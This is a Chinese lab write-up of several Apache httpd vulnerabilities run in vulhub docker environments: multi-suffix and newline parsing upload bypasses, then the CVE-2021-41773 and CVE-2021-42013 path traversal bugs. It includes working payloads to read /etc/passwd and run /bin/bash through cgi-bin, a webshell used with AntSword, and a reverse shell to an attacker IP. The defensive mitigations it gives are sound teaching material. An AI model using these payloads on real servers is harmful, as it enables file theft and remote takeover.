IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> apache漏洞复现-多后缀解析漏洞,换行解析漏洞,2.4.492.4.50 -> 正文阅读

[PHP知识库]apache漏洞复现-多后缀解析漏洞,换行解析漏洞,2.4.492.4.50

?

目录

准备工作

Apache多后缀解析漏洞复现

漏洞复现

漏洞防御

Apache换行解析漏洞复现(CVE-2017-15715)

漏洞复现

漏洞防御

CVE-2021-41773 漏洞复现

CVE-2021-42013 漏洞复现


环境:下载docker 和 vulhub

安装包:蚁剑安装包(百度网盘 我的资源>安装包>蚁剑winlinux安装包>AntSword-Loader-v4.0.3-win32-x64.zip和antSword-master.zip)

准备工作

开启docker

systemctl start docker

setenforce 0

进入vulhub目录下载漏洞

cd vulhub-master/vulhub-master/

把防火墙关了

systemctl stop firewalld.service

关闭本机的httpd服务否则安装完容器会端口冲突

systemctl stop httpd

Apache多后缀解析漏洞复现

该漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个Apache解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别。

如果运维人员给.php后缀的文件添加了处理程序 `AddHandler application/x-httpd-php .php` 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。

漏洞复现

  1. 进入到?httpd/apache_parsing_vulnerability漏洞目录,执行docker-compose up -d启动漏洞环境

cd httpd/apache_parsing_vulnerability/

docker-compose up -d

然后可以使用docker ps -a查看是否成功拉下来,如果没有端口映射成功,重启docker,然后再重新docker-compose up -d

?

2、访问虚拟机,看到如下页面

3、由于此处只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错

上传图片格式成功,并给出上传后的路径

?上传php格式文件失败

?

4、将文件名修改为phpinfo.php.jpeg后再次尝试上传,提示上传成功,并给出上传后的路径

新建一个b.php,在里面使用一个phpinfo函数

<?php

phpinfo();

?>

然后把后缀名加上.jpeg?

?成功上传

?

5、复制路径进行访问,成功查看到phpinfo的信息,说明上传的文件被执行

192.168.175.133/uploadfiles/b.php.jpeg

?

?

6、也可上传下方一句话木马配合菜刀、蚁剑等工具获得webshell

我使用蚁剑连接http://192.168.175.133/uploadfiles/a.php.jpeg

密码就是刚才一句话木马的参数xxx

?成功连接

?

## 漏洞防御

1、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问 **(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)**

<FilesMatch "\.php\.">

require all denied

</FilesMatch>

2、将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式为.php的文件添加处理程序

<FilesMatch ".+.php$">

SetHandler application/x-httpd-php

</FilesMatch>

Apache换行解析漏洞复现(CVE-2017-15715)

httpd 2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,`1.php\x0A`将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

在设置了 正则表达式 对象的 Multiline 属性的条件下,`$`还会匹配到字符串结尾的换行符。所以如果在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。

漏洞复现

1、进入到CVE-2017-15715漏洞目录,执行docker-compose up -d启动漏洞环境

cd?/httpd/CVE-2017-15715/

?

?

重启docker

systemctl restart docker

后台启动环境

docker-compose up -d

?2、访问靶机地址,看到如下页面

?3、尝试上传b.php文件,报错

?

4、利用burp抓取文件上传数据包

数据提交前开启bp抓包,这样数据一提交就能抓到包

?5、选择16进制格式,找到文件上传后的名字,默认为evil.php寻找l6进制编码 70 68 70分别对应 p h p,在第二个70的后方右键,点击 insert byte... ,然后插入换行符0a 点击确定进行插入

?插入换行符0a

?6、关闭拦截,将数据包放行

?7、放行数据包,然后访问上传的文件,成功看到phpinfo信息。注意:要在文件名后添加%0a进行访问,因为我们在上传时在文件名末尾添加了0a

192.168.175.133:8080/evil.php%0a

?漏洞防御

升级到无漏洞的版本

对上传的文件进行重命名

上传时采用白名单的验证方式

CVE-2021-41773 漏洞复现

Apache httpd Server 2.4.49 版本引入了一个函数,在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符,当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在../。如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测实现目录遍历。

但需要配合穿越的目录配置 Require all granted,攻击者可利用该漏洞实现路径穿越从而读取任意文件,或者在配置了cgi的httpd程序中执行bash指令,从而有机会控制服务器。

#文件读取 payload
/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

#命令执行 payload
/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
将请求方法修改为POST ,然后在请求体写入 echo;命令 将数据包放行即可
#反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.101.129/9999 0>&1'

CVE-2021-42013 漏洞复现

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

#文件读取payload
/icons/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/etc/passwd
#命令执行payload
/cgi-bin/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/bin/bash

#命令执行时操作方法与 CVE-2021-41773 相同

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-17 12:12:45  更:2022-10-17 12:12:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年3日历 -2024/3/29 6:52:36-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码